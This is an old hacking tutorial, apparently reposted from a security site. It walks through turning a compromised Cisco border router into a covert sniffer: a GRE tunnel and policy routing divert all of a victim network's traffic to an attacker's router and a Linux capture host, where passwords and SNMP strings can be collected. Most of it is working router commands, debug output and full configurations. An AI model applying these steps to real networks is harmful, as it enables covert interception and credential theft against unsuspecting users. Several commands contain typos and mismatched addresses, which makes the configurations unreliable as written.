From Rexploit

A network diagram is provided at the end of the document. Reference the diagram as you read the paper.
An action video of this attack can be found at http://www.hackingdefined.com/movies/gre-sniff.zip


                 <==============================>
                   ||    Router Sniffing     ||
                   ||          by            ||
                   ||   William M. Hidalgo   ||
                   || redkommie<@>gmail.com  ||
                   ||           &            ||
                   ||          muts          ||
                   ||    http://iwhax.net    ||
                   ||mati<@>see-security.com ||
                   ||                        ||
                   ||        UPDATED         ||
                 <==============================>


.: Contents :.

    I. INTRODUCTION
          - Disclaimer
          - About / What's New
	  - References

    II. GETTING STARTED
          - Outline
          - Equipment

    III. CONFIGURATION
          - Routers
          - Linux Host
	  
    IV. TESTING 

    V. CONCLUSION

    APPENDIX
         - Cloud Router Configuration
         - Victim Router Configuration
	 - Attacker Router Configuration


.: I. INTRODUCTION :.

[-=] Disclaimer [=-] 

The use of this document is for educational purposes only. Any misuse of this 
document is the responsibility of the reader.

[-=] About / What's New[=-]

This paper outlines and demonstrates a practical exploit that can be performed
on compromised Cisco border routers. In no way does this mean Cisco equipment
is not secure. Proper configuration and security practices must be enforced
to minimize the chance of a security breach. Network administrator error is the
main cause of security breaches on Cisco equipment!

This is the second revision of this paper. The first paper focused on a simple
network configuration and lacked real world testing. This revision includes a 
configuration and test done on a -live- network which utilizes NAT translation
at the network boundary.

[-=] References [=-]

The following articles were used as reference material.

    - Things to do in Cisco Land when you are dead
      http://www.phrack.com/show.php?p=56&a=10

    - Red Team Assessment of Parliament Hill Firewall
      http://www.giac.org/practical/Joshua_Wright_GCIH.zip

    - Using a compromised Router to Capture Network Traffic
      http://www.geocities.com/david_taylor_au


.: II. GETTING STARTED :.

[-=] Outline [=-]

The goal is to create a GRE tunnel between two routers (one the attacker and
the other the victim) and use policy routing to send traffic from the Victim 
router to the Attacker router and have the Attacker router policy route the 
traffic to a Linux host, which will act as the sniffer, inside the attackers 
network. The traffic that is to be redirected must be matched using an 
access-list and traffic flow in and out of the victims network must remain 
active.

The reason for using GRE tunnels is to create a logical 'one hop' distance from
the Attacker router to the Victim router. Once this is done the 
'set ip next-hop <ip_address>' command can be used to redirect traffic to the
Attacker router.

[-=] Equipment [=-]

The following equipment was used to perform this test:

    - Two Cisco 2600 routers (All commands are IOS specific)
    - Two Cisco 2950 switches (Any brand of switches can be used)
    - Windows XP workstation
    - Workstation running the Auditor Security Collection CD
      (Auditor CD - http://www.remote-exploit.org)

.: III. CONFIGURATION :.

[-=] Routers [=-]

Configure all three routers with a basic configuration. Use the following
diagram as reference in configuring and cabling (Note: The Attacker router 
has a secondary IP address in its fastethernet interface).

    -= Use the network diagram as a reference throughout the document. =-

Now begins the configuration of the GRE tunnels. First we will configure the
Victim router:

(If you use NAT on your interfaces make sure tunnel0 is designated as ip nat 
 inside or else the forwarding of traffic out onto the internet will not work)

   -=Victim Router=-

    Victim(config)# interface tunnel0
    Victim(config-if)# ip address 192.168.10.1 255.255.255.0
    Victim(config-if)# tunnel source Ethernet0/0
    Victim(config-if)# tunnel destination 80.179.20.55
    Victim(config-if)# tunnel mode gre ip
    
Now likewise on the Attacker router.

    -=Attacker Router=-

    Attacker(config)# interface tunnel0
    Attacker(config-if)# ip address 192.168.10.2 255.255.255.0
    Attacker(config-if)# tunnel source Ethernet0/1
    Attacker(config-if)# tunnel destination 62.128.40.70
    Attacker(config-if)# tunnel mode gre ip

Now ping the tunnel interface IP addresses to confirm connectivity. If the 
pings are successful on to configuring policy routing. 

If the pings fail try the following debug command to verify connectivity. The
output shown should be similar to that below: (Note: the public IPs are those
of the external router interface and next-hop external IP interface. These
IP's should correspond to the public IP's you use)

(Done on both routers)
    
 Victim# debug tunnel
 *Mar  3 05:00:01.303: Tunnel0: GRE/IP encapsulated 62.128.40.70->80.179.20.55 (linktype=7, len=105)
 *Mar  3 05:00:01.463: Tunnel0: GRE/IP to classify 80.179.20.55->62.128.40.70 (len=64 type=0x800 ttl=253 tos=0xC0)
 *Mar  3 05:00:01.551: Tunnel0: adjacency fixup, 62.128.40.70->80.179.20.55, tos=0x0
 *Mar  3 05:00:01.567: Tunnel0: GRE/IP to classify 80.179.20.55->62.128.40.70 (len=108 type=0x800 ttl=253 tos=0x0)

    Attacker# debug tunnel
 *Mar  3 06:38:50.010: Tunnel0: GRE/IP to classify 62.128.40.70->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)
 *Mar  3 06:38:50.014: Tunnel0: adjacency fixup, 80.179.20.55->62.128.40.70, tos=0x0
 *Mar  3 06:38:51.007: Tunnel0: GRE/IP to classify 62.128.40.70->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)
 *Mar  3 06:38:51.007: Tunnel0: adjacency fixup, 80.179.20.55->62.128.40.70, tos=0x0g all
    

An access-list will be used to match the traffic we want to send through the 
tunnel for this test. I had the access-list match all traffic but the 
access-list can be configured to match specific traffic only like snmp, telnet, or any other traffic you desire.

    -=Victim Router=-

    Victim(config)# access-list 101 permit ip any any
    Victim(config)# router-map divert-traffic 
    Victim(config-route-map)# match ip address 101
    Victim(config-route-map)# set ip next-hop 192.168.10.2
    Victim(config-route-map)# exit
    Victim(config)# interface Ethernet0/0
    Victim(config-if)# ip policy route-map divert-traffic
    
The Attacker router now.

    -=Attacker Router=-
    
    Attacker(config)# access-list 101 permit ip any any
    Attacker(config)# router-map divert-to-sniffer
    Attacker(config-route-map)# match ip address 101
    Attacker(config-route-map)# set ip next-hop 192.168.3.5
    Attacker(config-route-map)# exit
    Attacker(config)# interface tunnel0
    Attacker(config-if)# ip policy route-map divert-to-sniffer
    Attacker(config-if)# exit
    Attacker(config-if)# route-map divert-out
    Attacker(config-route-map)# match ip address 101
    Attacker(config-route-map)# set ip next-hop 192.168.10.1
    Attacker(config-route-map)# exit
    Attacker(config)# interface ethernet0/0
    Attacker(config-if)# ip policy route-map divert-out
    Attacker(config-if)# end

This concludes configuring the routers.


[-=] Linux Workstation [=-]

The Linux (Auditor) workstation will utilize one interface to accept inbound
traffic from the tunnel then forward it back out to the router. The workstation
will have to running a sniffing program to capture traffic or passwords.

You can use any Linux distro you like but I recommend using the Auditor 
Security Collection Linux distro. Download and create a copy of the Auditor 
Security Collection CD once that is done boot of the CD. For more information 
on the Auditor CD go to http://new.remote-exploit.org. 

Configure the interface with the following IP and gateway addresses:

     [eth0]
     IP: 192.168.3.5
     Netmask: 255.255.255.0
     Gateway: 192.168.3.1
  
Now enable ip forwarding.

    echo 1 > /proc/sys/net/ipv4/ip_forward

Failing to do this will result in a DoS of the Victim network. 

[-=] Windows Workstation [=-]

Configure the workstation with the IP and gateway of:

    IP: 192.168.1.5
    Netmask: 255.255.255.0
    Gateway: 192.168.1.1


.: IV. TESTING :.

On the Linux workstation run a packet sniffing program, preferably Ethereal, 
and start packet capture. From the Windows workstation ping an interface from 
the Cloud Router and make sure that it is successful now check your Linux 
workstation the packet capture program should see the ping request. All traffic 
sent out of the Victim router will be seen.

If traffic doesen't seem not to be forwarded debug the policy to see if it's 
working correctly on both victim and attacker.

 Victim#debug ip policy
 Policy routing debugging is on
 *Mar  3 04:59:35.509: IP: s=192.168.1.5 (Ethernet0/1), d=194.90.1.5, len 84, FIB policy match
 *Mar  3 04:59:35.509: IP: s=192.168.1.5 (Ethernet0/1), d=194.90.1.5, g=192.168.10.2, len 84, FIB policy routed
 *Mar  3 04:59:36.510: IP: s=192.168.1.5 (Ethernet0/1), d=194.90.1.5, len 84, FIB policy match
 *Mar  3 04:59:36.510: IP: s=192.168.1.5 (Ethernet0/1), d=194.90.1.5, g=192.168.10.2, len 84, FIB policy routed 
 *Mar  3 04:59:37.512: IP: s=192.168.1.5 (Ethernet0/1), d=194.90.1.5, len 84, FIB policy match
 *Mar  3 04:59:37.512: IP: s=192.168.1.5 (Ethernet0/1), d=194.90.1.5, g=192.168.10.2, len 84, FIB policy routed


 Attacker#deubug ip policy
 Policy routing debugging is on
 *Mar  3 06:38:32.974: IP: s=192.168.1.5 (Tunnel0), d=194.90.1.5, len 84, FIB policy match
 *Mar  3 06:38:32.978: IP: s=192.168.1.5 (Tunnel0), d=194.90.1.5, g=192.168.3.5, len 84, FIB policy routed
 *Mar  3 06:38:32.978: IP: s=192.168.1.5 (Ethernet0/0), d=194.90.1.5, len 84, FIB policy match
 *Mar  3 06:38:32.978: IP: s=192.168.1.5 (Ethernet0/0), d=194.90.1.5, g=192.168.10.1, len 84, FIB policy routed
 *Mar  3 06:38:33.980: IP: s=192.168.1.5 (Tunnel0), d=194.90.1.5, len 84, FIB policy match
 *Mar  3 06:38:33.980: IP: s=192.168.1.5 (Tunnel0), d=194.90.1.5, g=192.168.3.5, len 84, FIB policy routed


.: V. CONCLUSION :.

It has been proved that a router can be turned into a network sniffer with a
few commands. SNMP strings, passwords, etc. can now be captured and used to 
escalate an intruders attack on the network. I hope this document will create 
greater awareness on the threat that exists if a router is compromised. For
information on hardening Cisco routers visit the NSA site and download the
Router Security Guide at http://www.nsa.gov/snac/downloads_all.cfm


-=Victim Router Configuration=-

hostname Victim

enable secret class

interface Tunnel0
 ip address 192.168.10.1 255.255.255.0
 tunnel source Ethernet0/0
 tunnel destination 80.179.40.70

interface Ethernet0/0
 ip address 192.168.1.1 255.255.255.0
 ip policy route-map diver-traffic

access-list 101 permit ip any any

route-map divert-traffic permit 10
 match ip address 101
 set ip next-hop 192.168.10.2

line con 0
 password cisco
 logging synchronous
 login
line aux 0
line vty 0 4
 password cisco
 login
 login


-=Attacker Router Configuration=-

hostname Attacker

enable secret class

interface Tunnel0
 ip address 192.168.10.2 255.255.255.0
 ip policy route-map divert-to-sniffer
 tunnel source Ethernet0/1
 tunnel destination 62.128.40.80

interface Ethernet0/0
 ip address 192.168.3.1 255.255.255.0
 ip policy route-map divert-out

line con 0
 password cisco
 logging synchronous
 login
line aux 0
line vty 0 4
 password cisco
 login

Gre_tunnel.png

Support us by making a donation using the button below. Please contact us using email. For other payment methods.